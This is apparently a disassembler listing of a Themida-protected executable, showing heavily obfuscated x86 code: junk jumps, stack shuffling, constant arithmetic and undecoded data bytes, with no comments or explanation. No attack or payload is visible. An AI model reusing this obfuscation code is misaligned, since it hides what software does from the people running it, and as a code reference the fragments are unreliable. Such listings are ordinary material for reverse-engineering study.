		dd 242C8904h, 4E7AE5BDh, 0FEC58162h, 0C1306057h, 6EE903E5h
		dd 0D000023h, 5F6332D3h, 5501C083h, 0E2B2E9h, 24148900h
		dd 3FD768h, 8447E900h, 1AB80000h, 0BA638227h, 6382273Eh
		dd 0D1CAE9h, 240C8B00h,	6958E9h
		db 0
; ---------------------------------------------------------------------------


loc_56045D:				; CODE XREF: Themida_:005696FBj
		mov	ebp, 7B1512CDh
		or	ebp, 3D3A6D26h
		jmp	loc_56802E
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 7AE904EEh
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56047B:				; CODE XREF: Themida_:005660EEj
		shr	edx, 6
		jmp	loc_560EA6
; ---------------------------------------------------------------------------


loc_560483:				; CODE XREF: Themida_:0056D71Bj
		push	ebx
		mov	ebx, 54471FA1h
		dec	ebx
		add	ebx, 14DF501Fh
		jmp	loc_56AF46
; ---------------------------------------------------------------------------
		db 33h,	0Ch, 24h
		dd 0FFF7CFE9h, 81EFD1FFh, 880123EFh, 80805FAh, 0F8015295h
		dd 58CCE9h, 242C8900h, 8D1929BDh, 5DEF013Eh, 8CB6E9h, 0E9D60100h
		dd 0C419h, 0E955D1F7h, 0FDD0h, 2B91E981h, 13E94FE5h, 890000E9h
		dd 23E9241Ch, 5AFFFFE9h, 8B4AE980h, 54532414h, 4C3815Bh
		dd 81000000h, 4C3h, 0AD86E900h,	0C7800000h, 240C8BBBh
		dd 0C004C483h, 686607EFh, 3C280000h, 243C8A24h,	0A3D0E9h
		dd 0B037E900h, 6856FFFFh, 1134h, 0BF243C89h, 39814119h
		dd 3ED3C781h, 0CF815AF1h, 5BA4544Fh, 240CFF57h,	0A2EF815Fh
		dd 0E941362Dh, 0EC2Ah
; ---------------------------------------------------------------------------


loc_560548:				; CODE XREF: Themida_:0056CA24j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edx, [esp]
		jmp	loc_56E8B6
; ---------------------------------------------------------------------------
		db 1
aSsyf		db 'ééyf',0
		align 2
		dw 0EEC1h
		dd 0F394E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560566:				; CODE XREF: Themida_:005688ECj
		push	312Dh
		mov	[esp], esp
		jmp	loc_55EE4A
; ---------------------------------------------------------------------------
		db 59h
		dd 4C481h, 50520000h, 0E59FE9h
		db 0
; ---------------------------------------------------------------------------


loc_560581:				; CODE XREF: Themida_:0055E18Ej
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_568C03
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFAFBDh, 51240C8Bh, 0C181E189h, 4, 0FFFBB9E9h, 0DDF781FFh
		dd 5348A556h, 0CE56E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5605B6:				; CODE XREF: Themida_:00564CCDj
		xor	edi, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_55B858
		push	3DCCh
		jmp	loc_564D8E
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48324h, 2414F750h,	8324048Bh, 0E8C104C4h, 4561E902h
		dd 0F6810000h, 59F10E97h, 0CDE9F329h, 8100006Bh, 4C2h
		dd 4C28300h, 2474FF52h,	2434FF04h, 4C4815Ah, 8F000000h
		dd 835C2404h, 545104C4h, 0E9565759h, 3DBAh, 24048B54h
		dd 81E78957h, 4C7h, 4C78300h, 493068h, 243C8900h, 42474FFh
		dd 24048F5Fh, 7E64E9h, 4C58100h, 81000000h, 4C5h, 242C8700h
		dd 0D124248Bh, 0BD5540E0h, 1, 2D5DE829h, 45FEDB0Ch, 5558C201h
		dd 0F8CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_56066D:				; CODE XREF: Themida_:00565A14j
		pop	edi


loc_56066E:				; CODE XREF: Themida_:00560082j
					; Themida_:0056D001j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5691C8
; ---------------------------------------------------------------------------


loc_56067F:				; CODE XREF: Themida_:00565E41j
		add	[esp+4], ecx
		add	dword ptr [esp+4], 5CFF4510h
		mov	ecx, [esp]
		jmp	loc_566551
; ---------------------------------------------------------------------------
aIS6		db '䂎%6',0
		align 2


loc_56069A:				; CODE XREF: Themida_:0055D76Aj
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 1F4B382Ah
		neg	edx
		jmp	loc_55C158
; ---------------------------------------------------------------------------
		dw 1C8Bh
		dd 4C48124h, 1000000h, 629205F0h, 34FF34B1h, 0C4835E24h
		dd 24048704h, 6624248Bh, 0E924048Bh, 6853h, 0C8EAEE81h
		dd 8957848Eh, 0E9F889F7h, 53A0h, 0EE9AE950h, 0C781FFFFh
		dd 2B3E4C72h, 0FFEEE4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5606FD:				; CODE XREF: Themida_:0055C490j
		push	5F8Ch
		mov	[esp], ebp
		jmp	loc_56613B
; ---------------------------------------------------------------------------


loc_56070A:				; CODE XREF: Themida_:00562C22j
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_55F87C
; ---------------------------------------------------------------------------


loc_56072E:				; CODE XREF: Themida_:00562F5Dj
		shr	dh, 7
		jmp	loc_5700EA
; ---------------------------------------------------------------------------


loc_560736:				; CODE XREF: Themida_:0055D205j
		add	edx, eax
		mov	ecx, [edx]
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 381C1FB5h
		push	7AE8h
		mov	[esp], edi
		xchg	eax, [esp]
		jmp	loc_55C9AF
; ---------------------------------------------------------------------------


loc_560757:				; CODE XREF: Themida_:0056D820j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		add	dword ptr [esp+4], 6E18683Ah
		sub	dword ptr [esp+4], 79345518h
		jmp	loc_56257D
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4Ch
		dd 0E93C1841h, 0EC38h, 0E959CB31h, 0D464h
; ---------------------------------------------------------------------------


loc_560788:				; CODE XREF: Themida_:00561176j
		mov	eax, esp
		jmp	loc_56723C
; ---------------------------------------------------------------------------
		db 2Dh
		dd 56AB68C7h, 63DBEF81h, 0C7011766h, 63DBC781h,	48B1766h
		dd 4C48324h, 2C781h, 0A9E90000h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5607B3:				; CODE XREF: Themida_:00563295j
		neg	edx
		jmp	loc_56A0D5
; ---------------------------------------------------------------------------
		dw 0F331h
aSyu		db '^éyî',0
		align 2
		dw 1487h
		dd 1CF1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5607CA:				; CODE XREF: Themida_:0056A997j
		mov	esp, [esp]
		pop	ecx
		jmp	loc_56E6DF
; ---------------------------------------------------------------------------
		db 55h
		dd 7A32BA52h, 0D2F77AB6h, 26F1C281h, 0C2817749h, 25060A2Dh
		dd 45B8E9h, 5DEF0100h, 8B243C87h, 4312424h, 0AD57E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5607FE:				; CODE XREF: Themida_:00568F2Bj
		mov	eax, ebp
		pop	ebp
		jmp	loc_567306
; ---------------------------------------------------------------------------
aXiY1ussk	db 'X‰ÍY1îéáŠ',0
		db 0
; ---------------------------------------------------------------------------


loc_560811:				; CODE XREF: Themida_:0055FE25j
		push	edx
		mov	edx, 21C1462Fh
		not	edx
		or	edx, 2EFA6E5Bh
		xor	edx, 0FFC74864h
		jmp	loc_56DBBF
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4C48324h, 0A7168h, 24348900h, 42474FFh, 7EDAE95Eh, 895D0000h
		dd 240C8BCAh, 4C481h, 0C2810000h, 5E98455Bh, 7DCFE281h
		dd 0BD5500D5h, 5E4F0A96h, 2C8BEA09h, 0F40DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56086A:				; CODE XREF: Themida_:0057051Aj
		inc	eax
		not	eax
		jmp	loc_56BC18
; ---------------------------------------------------------------------------


loc_560872:				; CODE XREF: Themida_:0055EA2Fj
		pop	ebx
		jmp	loc_57062E
; ---------------------------------------------------------------------------
		dd 54241489h, 0A050E9h,	0B3E0500h, 0D0F7088Bh, 0FFD57CE9h
		dd 0E2C281FFh, 5E7D7061h, 0E9241487h, 0BCEEh, 226568h
		dd 24348900h, 0C681E689h, 4, 4B850h, 0C6010000h, 582434FFh
		dd 42EEE9h, 0E9BB0400h,	0C231h,	8087C580h, 0E8281EEDh
		dd 4D00059h, 2434FFE8h,	6A67E9h, 58BB5300h, 11A280Ch, 0FCE95BD8h
		dd 0BD00003Dh, 2, 2427EE81h, 0C6817B68h, 141170A8h, 0C4A8E9h
		dd 14896600h, 9C506624h, 0FFAC4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560909:				; CODE XREF: Themida_:005679ECj
		mov	[esp], edi
		mov	edi, edx
		mov	eax, edi
		pop	edi
		jmp	loc_56B2C3
; ---------------------------------------------------------------------------


loc_560916:				; CODE XREF: Themida_:00565132j
		mov	esi, 3BFF27D2h
		shl	esi, 7
		jmp	loc_55E1D8
; ---------------------------------------------------------------------------
		db 1
		dd 0F092E9C5h, 1C89FFFFh, 0F8FCE924h, 815B0000h, 4C4h
		dd 167B6800h, 14890000h, 3F57E924h, 0B8500000h,	34961E7h
		dd 0DA591E2Dh, 3B87E961h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560956:				; CODE XREF: Themida_:005699E1j
		sub	esi, 7CAC0F23h
		push	eax
		jmp	loc_56845A
; ---------------------------------------------------------------------------


loc_560962:				; CODE XREF: Themida_:0056E18Bj
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		not	ecx
		push	61BEh
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		pop	eax
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_56C9E0
; ---------------------------------------------------------------------------
		dd 0C581D5F7h, 280E1C0Eh, 0FFECB0E9h, 2434FFFFh, 4C48359h
		dd 4C481h, 0B60F0000h, 8734FFC0h, 21C68h, 241C8900h, 4A3868h
		dd 240C8900h, 0FFCACDE9h, 1C77FFFFh, 1058669Dh,	0E99C2404h
		dd 3DD4h
; ---------------------------------------------------------------------------


loc_5609E4:				; CODE XREF: Themida_:0056329Bj
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_561CD5
; ---------------------------------------------------------------------------


loc_5609F1:				; CODE XREF: Themida_:0056922Fj
		add	ebx, 0DEB8194Ch
		add	edx, ebx
		pop	ebx
		sub	edx, 0ECB1050Fh
		sub	ebp, 35465513h
		add	ebp, edx
		jmp	loc_56205E
; ---------------------------------------------------------------------------
		db 89h,	0FAh, 5Fh
		dd 0FFB63FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560A15:				; CODE XREF: Themida_:0056B8A5j
		pop	edx
		jmp	loc_5669DD
; ---------------------------------------------------------------------------
		db 5Ah
		dd 0E903E3C0h, 9F6h
; ---------------------------------------------------------------------------


loc_560A24:				; CODE XREF: Themida_:005612F2j
		neg	edi
		or	edi, 42671F93h
		shr	edi, 3
		shr	edi, 7
		neg	edi
		sub	edi, 889F0264h
		sub	esi, edi
		pop	edi
		sub	esi, eax
		add	esi, 77273DADh
		sub	esi, 5EC79DAh
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55B7F3
; ---------------------------------------------------------------------------
		db 5Dh
		dd 5508E2C1h, 7E348ABDh, 15B95133h, 0E90E913Eh,	0A1FBh
; ---------------------------------------------------------------------------


loc_560A6C:				; CODE XREF: Themida_:005697F6j
		mov	ebp, 577242DDh
		push	ecx
		mov	ecx, 2884675Bh
		neg	ecx
		and	ecx, 756A2485h
		jmp	loc_560E79
; ---------------------------------------------------------------------------


loc_560A84:				; CODE XREF: Themida_:00564E5Cj
		push	edi
		jmp	loc_56FC8E
; ---------------------------------------------------------------------------


loc_560A8A:				; CODE XREF: Themida_:00561C19j
		pop	eax
		neg	eax
		push	ecx
		mov	ecx, 0FF16AE58h
		xor	eax, ecx
		pop	ecx
		push	eax
		jmp	loc_57045C
; ---------------------------------------------------------------------------
		dd offset dword_50B448+320h
		dd 242C8900h, 2BDh, 0BB535000h,	7B636619h, 0E9D3F74Bh
		dd 339Eh, 4249E92Dh, 0D801592Bh, 5214BB53h, 4B436E5Ch
		dd 0D9E9DBF7h, 5F000060h, 8704C183h, 685C240Ch,	553Dh
		dd 53241489h, 72EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_560AE5:				; CODE XREF: Themida_:0056EABEj
		mov	esi, edi
		mov	ebp, esi
		pop	esi
		jmp	loc_5691A8
; ---------------------------------------------------------------------------


loc_560AEF:				; CODE XREF: Themida_:0056298Ej
		add	ecx, 30C16CE2h
		shr	ecx, 5
		dec	ecx
		jmp	loc_5691AF
; ---------------------------------------------------------------------------
		dw 0F329h
		dd 6DDDC381h, 34FF5354h, 0C4835E24h, 0B4ED8104h, 17FB84Fh
		dd 0B4C581DDh, 0FF7FB84Fh, 815B2434h, 4C4h, 242C3300h
		dd 33242C31h, 248B242Ch, 66F9F624h, 66CCB60Fh, 663A6168h
		dd 66240C89h, 0E9C8B60Fh, 2BCCh
; ---------------------------------------------------------------------------


loc_560B48:				; CODE XREF: Themida_:0056D5A9j
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_55EED8
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFA9FDh
; ---------------------------------------------------------------------------


loc_560B58:				; CODE XREF: Themida_:0056DDEDj
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		jmp	loc_55EDB3
; ---------------------------------------------------------------------------


loc_560B67:				; CODE XREF: Themida_:00566151j
		push	ebx
		jmp	loc_561FB4
; ---------------------------------------------------------------------------
		db 81h,	0C7h, 0E8h
		dd 0E95CA63Eh, 0FFFFC751h, 81242489h, 42404h, 535D0000h
		dd 3D07BA52h, 0F5BB4EC5h, 29539898h, 0F3815AD3h, 37501279h
		dd 84E9554Bh
		db 0C4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560B9F:				; CODE XREF: Themida_:0056CFBFj
		shr	eax, 0Bh
		jmp	loc_5684CB
; ---------------------------------------------------------------------------


loc_560BA7:				; CODE XREF: Themida_:0055BCFCj
		add	esp, 4
		add	esp, 4
		jmp	loc_568932
; ---------------------------------------------------------------------------
aRsZ		db 'R震',0
		align 2
		dw 0C381h
		dd 4, 0A84FE9h,	356C6800h, 34890000h, 54B95124h, 5059DC7Fh
		dd 1252BA52h, 895528BFh, 5DE889D5h, 928DE9h, 40316800h
		dd 0C890000h, 3AE95424h, 8B00003Bh, 0C483242Ch,	76E95204h
		dd 810000D0h, 4C1h, 4E98300h, 2555E9h, 240C3300h, 33240C31h
		dd 0E95C240Ch, 0E8ABh
; ---------------------------------------------------------------------------


loc_560C20:				; CODE XREF: Themida_:00560D4Aj
		mov	[esp], edi
		push	ebx
		mov	ebx, 40D5744Ah
		mov	edi, ebx
		pop	ebx
		xor	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	esi, 54E30123h
		sub	esi, 3F82C3Fh
		jmp	loc_56CB14
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0A75E9h, 0C8F18100h,	49562E76h, 45BEC181h, 0CB29991Bh
		dd 5EB8159h, 8B789043h,	0C483242Ch, 0F3DAE904h,	0C300FFFFh
		dd 10A7E958h, 0C4830000h, 0E9F30104h, 0FFFFDF52h, 0EDC1D5F7h
		dd 48F58102h, 290B5BD4h, 74015DEEh, 0D0E90424h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560C97:				; CODE XREF: Themida_:0056C814j
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 8
		jmp	loc_561A5C
; ---------------------------------------------------------------------------


loc_560CA4:				; CODE XREF: Themida_:0055FE3Dj
		pop	eax
		jmp	loc_56F28F
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 34C3E9h, 5451AC00h, 67F2E9h
		db 0
; ---------------------------------------------------------------------------


loc_560CBD:				; CODE XREF: Themida_:005665CBj
		add	ecx, 3DB853ACh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56E89A
; ---------------------------------------------------------------------------
		db 88h,	0DAh, 5Bh
		dd 0B45010B5h, 58E5283Ah, 0C580D500h, 0ED805A3Ah, 0B08E93Ah
		dd 1D680000h, 0E900003Ah, 0DCAEh, 0BF243C89h, 4C3C4F7Eh
		dd 8107EFC1h, 0B17830CFh, 22A8E915h, 0D8280000h, 0FFEDA7E9h
		dd 240481FFh, 4, 0FFDE8DE9h, 764468FFh,	45E94FF5h, 0B3000011h
		dd 89B7536Eh, 1BE98FB1h, 5E000047h, 5C240C87h, 17CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_560D3D:				; CODE XREF: Themida_:00565449j
		not	esi
		add	esi, 427B6122h
		push	10F0h
		jmp	loc_560C20
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 1E0E904h, 34FF0000h, 24048B24h, 0FFAA42E9h
		dd 0BE5653FFh, 52A2174Eh, 530CA5BBh, 0FA44E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D76:				; CODE XREF: Themida_:0055C4EDj
		add	esp, 4
		jmp	loc_55D4EF
; ---------------------------------------------------------------------------
aUs0		db 'Ué0Î',0
		align 4
		dd 0CC8054B4h, 0E436E987h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560D8E:				; CODE XREF: Themida_:0055EBA5j
		sub	eax, 111041E1h
		add	eax, esi
		add	eax, 111041E1h
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		push	ecx
		jmp	loc_566638
; ---------------------------------------------------------------------------
		db 53h
		dd 7FE95255h, 81000007h, 390A1FC2h, 53EA0149h, 635A46BBh
		dd 0CF21E965h, 0C0680000h, 0E9725655h, 7309h, 5EDC14Dh
		dd 4EC81h, 1EE90000h, 660000A0h, 6651664Eh, 830F5FB9h
		dd 49E902ECh
		db 0C1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560DEB:				; CODE XREF: Themida_:0055C8C6j
		mov	[esp], esi
		push	esp
		pop	esi
		push	edx
		mov	edx, 5AD24923h
		push	ebp
		jmp	loc_56D2CA
; ---------------------------------------------------------------------------


loc_560DFC:				; CODE XREF: Themida_:005640C0j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_56E63F
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 4AB0F66h, 3AE99C24h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560E1B:				; CODE XREF: Themida_:0056DD3Dj
		add	edx, 4
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		jmp	loc_56CD41
; ---------------------------------------------------------------------------
		dw 0C380h
		dd 0FBEB80D5h, 0C380C300h, 0B45052FBh, 0C5B3E975h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560E46:				; CODE XREF: Themida_:005673D2j
		sub	esi, 4DF032BEh
		mov	ebp, esi
		jmp	loc_56DE92
; ---------------------------------------------------------------------------
		db 50h
		dd 0DA1EE4B8h, 661FE92Ah, 0DF010000h, 0E290E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560E66:				; CODE XREF: Themida_:00562B16j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56ACB9
; ---------------------------------------------------------------------------
		db 29h,	0CAh, 59h
		dd offset dword_540058+291h
		db 0
; ---------------------------------------------------------------------------


loc_560E79:				; CODE XREF: Themida_:00560A7Fj
		and	ecx, 26DE64CCh
		jmp	loc_56A1B0
; ---------------------------------------------------------------------------
		dd 1C381h, 0B8500000h, 73684428h, 5158C301h, 0FC0D17B9h
		dd 33EF8159h, 147AE6Ah,	57F6E9CFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560EA6:				; CODE XREF: Themida_:0056047Ej
		push	72A9h
		mov	[esp], ebx
		push	eax
		push	ebp
		jmp	loc_5699AB
; ---------------------------------------------------------------------------


loc_560EB5:				; CODE XREF: Themida_:00563ED9j
		sub	esp, 2
		mov	[esp], cx
		mov	cx, 62F0h
		jmp	loc_56FD93
; ---------------------------------------------------------------------------
		dd 4BFh, 0F312D00h, 0F8017FDEh,	0DE0F3105h, 4875F7Fh, 24248B24h
		dd 4EC81h, 34890000h, 0E95E5424h, 7C94h, 83242C89h, 0C8904ECh
		dd 5339B924h, 0C18133F2h, 7DC57E6Ah, 5581E981h,	0E9536FC3h
		dd 0F4E8h, 0E905E7C1h, 0F70Fh, 4C181h, 0C870000h, 0C5835C24h
		dd 5962E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560F2A:				; CODE XREF: Themida_:0055BC08j
		pop	ax
		sub	al, 0F5h
		sub	al, 9Eh
		xor	dl, al
		mov	eax, [esp]
		jmp	loc_564F15
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 54242C89h, 0FFD8C6E9h, 87DF29FFh,	0F3815FFBh, 10260C45h
		dd 0F702E3C1h, 3DBD55D3h, 0E9153621h, 0FFFFADFCh, 0EB81C329h
		dd 4D443CB4h, 241C3358h, 0E9241C31h, 808h, 9D1C77FFh, 1CD25966h
		dd 0CEE99C24h
		db 0A5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560F87:				; CODE XREF: Themida_:0055F626j
		add	bx, ax
		pop	ax
		pop	cx
		movzx	eax, ax
		jmp	loc_562227
; ---------------------------------------------------------------------------
		dw 0CA01h
		dd 4C28159h, 33000000h,	9DE92414h, 3300000Bh, 0E95C2404h
		dd 7586h, 24343366h, 6BFCE9h, 0FF3B900h, 0CD290629h, 0E9505859h
		dd 0FFFFAE17h, 423EEF2Dh, 4875970h, 0DEE95C24h,	5300004Ah
		dd 53A1E9h, 24248B00h, 24042166h, 651DE99Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560FEA:				; CODE XREF: Themida_:00563250j
		mov	esi, 4
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_55B555
; ---------------------------------------------------------------------------


loc_56100B:				; CODE XREF: Themida_:005617C0j
		pop	esp
		and	eax, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		pop	ebx
		jmp	loc_56EF17
; ---------------------------------------------------------------------------


loc_561028:				; CODE XREF: Themida_:0056B550j
		push	ecx
		mov	ecx, 6C6C5C99h
		sub	ebx, ecx
		pop	ecx
		mov	eax, [ebx]
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5643A2
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 0AFE04625h, 0F51654BEh, 5AD63121h, 55EF029h,	66681392h
		dd 82E9D001h, 68000079h, 2BE4h,	53240C89h, 0EC45E9h, 0C8B6600h
		dd 2C48124h, 66000000h,	34FFF029h, 24348B24h, 8104C483h
		dd 4C4h, 0EEE95300h, 8B0000BEh,	8150241Ch, 4ECh, 24248900h
		dd 4240481h, 58000000h,	7102E9h, 0F7D68700h, 0C07FE9D2h
		dd 34890000h, 50E95024h, 56000033h, 56243C8Bh, 0C681E689h
		dd 4, 0E904C683h, 0C4FCh, 57243489h, 0B951E789h, 4, 8359CF01h
		dd 3C8704EFh, 4FEDE924h, 77FF0000h, 58669D1Ch, 24041966h
		dd 0B16EE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5610F6:				; CODE XREF: Themida_:0056A463j
		add	eax, 5B427D88h
		add	eax, ecx
		sub	eax, 5B427D88h
		jmp	loc_5705A4
; ---------------------------------------------------------------------------


loc_561107:				; CODE XREF: Themida_:0056CBB5j
		xor	dh, 43h
		add	bh, dh
		pop	edx
		jmp	loc_565F16
; ---------------------------------------------------------------------------
		dw 489h
		dd 1A9FB824h, 72E9619Bh
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56111F:				; CODE XREF: Themida_:005638BCj
		mov	ebp, 4
		add	edx, 6EB8622Dh
		jmp	loc_56A0BF
; ---------------------------------------------------------------------------
		align 10h
		dd 78E95AF1h, 51000065h, 4B9h, 59CF0100h, 4EC81h, 1AE90000h
		dd 0FF000098h, 58042474h, 8B24048Fh, 0BD552424h, 2, 0EEFBE9h
		db 0
; ---------------------------------------------------------------------------


loc_561161:				; CODE XREF: Themida_:005637AFj
		push	edx
		jmp	loc_56A9DA
; ---------------------------------------------------------------------------


loc_561167:				; CODE XREF: Themida_:0056FDA4j
		mov	dx, si
		jmp	loc_55F620
; ---------------------------------------------------------------------------


loc_56116F:				; CODE XREF: Themida_:005695A0j
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_560788
; ---------------------------------------------------------------------------
		db 68h
		dd 7D67h, 4F76E9h, 50525900h, 9248585Ah, 13BF5742h, 21759D1Dh
		dd 0E2815FFAh, 640773CBh, 42E3C281h, 0D7296557h, 2BEF815Ah
		dd 29310772h, 2BC781F7h, 81310772h, 5853E6C7h, 2434FF69h
		dd 0DC64E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5611C2:				; CODE XREF: Themida_:005680D0j
		mov	[esp], ebx
		push	1
		jmp	loc_566178
; ---------------------------------------------------------------------------
		db 55h
		dd 4BDh, 53A8E900h, 0C330000h, 24248B24h, 914AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5611E5:				; CODE XREF: Themida_:0056CD54j
		push	dword ptr [esp]
		jmp	loc_5647BD
; ---------------------------------------------------------------------------
		db 0BAh, 96h, 38h
		dd 0FF52544Dh, 4A5A2404h, 57F2814Ah, 4274C61Fh,	664BF281h
		dd 0D6296572h, 0CAFDE95Ah, 0C5810000h, 510A4794h, 0ED81F501h
		dd 510A4794h, 22E9565Eh, 8000006Ah, 0C4807CE4h,	0E9E32820h
		dd 1A09h, 5FE9CE01h, 0FFFFFFC8h, 48B2434h, 73F1E924h, 0E95C0000h
		dd 0F302h, 24048B66h, 73AE68h, 243C8900h, 7A37E954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56125A:				; CODE XREF: Themida_:0056A1C3j
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		mov	esi, 542E754Ah
		jmp	loc_566999
; ---------------------------------------------------------------------------
		dw 7EBFh
		dd 3107E45Eh, 243C8BF8h, 3504C483h, 1146796Ch, 0C912A325h
		dd 2DD8F728h, 0F7B7FF7Dh, 0FFC3F5E9h, 60B868FFh, 4890000h
		dd 0C44EE924h, 0B4500000h, 58E388D2h, 868BC380h, 86C2FED3h
		dd 0E9E3D0D3h, 0E21Fh, 0C2BA0540h, 0C20118B0h, 8124048Bh
		dd 4C4h, 5B820500h, 0D0013FB0h,	0B958E9h, 0F8315F00h, 0F831C731h
		dd 0D3B892Dh, 0F5F3E933h, 0E958FFFFh, 0FFFFBACBh
; ---------------------------------------------------------------------------


loc_5612EC:				; CODE XREF: Themida_:0055F985j
		push	edi
		mov	edi, 5B4347C6h
		jmp	loc_560A24
; ---------------------------------------------------------------------------
		db 57h
		dd 56713CBFh, 84BD553Fh, 0E9669B7Fh, 1E1h, 2C2835Ch, 0E9241487h
		dd 6A0Ah, 2FB2D40h, 256860D9h, 89000006h, 0E6892434h, 4C681h
		dd 0EE810000h, 4, 8B243487h, 0CE92424h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56133B:				; CODE XREF: Themida_:0056F959j
		sub	ebp, 38966C2Eh
		sub	ebp, 4E677671h
		jmp	loc_56D431
; ---------------------------------------------------------------------------


loc_56134C:				; CODE XREF: Themida_:0056FD6Fj
		mov	ebp, 5D6A380Dh
		xor	ebp, 0FAB6779h
		jmp	loc_55BEB0
; ---------------------------------------------------------------------------
a313S2		db '3<$1<$3<$é2Ò',0
		align 2
aYhkw		db ')Ø[YhªW',0
		dw 8900h
		dd 2B9240Ch, 2D000000h,	7DE064F0h, 87E9C801h, 1FFFFC6h
		dd 0E904244Ch, 0B575h
; ---------------------------------------------------------------------------


loc_561390:				; CODE XREF: Themida_:0056B633j
		mov	cl, dh
		not	cl
		mov	dh, cl
		pop	cx
		add	dh, 7Eh
		sub	dh, 1
		dec	dh
		not	dh
		jmp	loc_562159
; ---------------------------------------------------------------------------
aQSl		db 'QµÅé«',0Ah,0
		dw 8300h
		dd 343304C6h, 24343124h, 444DE9h, 24148900h, 5A2414F7h
		dd 3A7CF281h, 0EAC16AD9h, 56DAF706h, 0DB6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5613D5:				; CODE XREF: Themida_:0056CF51j
		push	esp
		jmp	loc_564370
; ---------------------------------------------------------------------------


loc_5613DB:				; CODE XREF: Themida_:005670CBj
		push	4F69h
		mov	[esp], edi
		mov	edi, 44C40F86h
		or	edi, 2D876A83h
		shr	edi, 1
		not	edi
		push	ebx
		push	64D0h
		mov	[esp], edi
		mov	edi, 3783B804h
		mov	ebx, edi
		jmp	loc_56E6FC
; ---------------------------------------------------------------------------
		db 8Bh
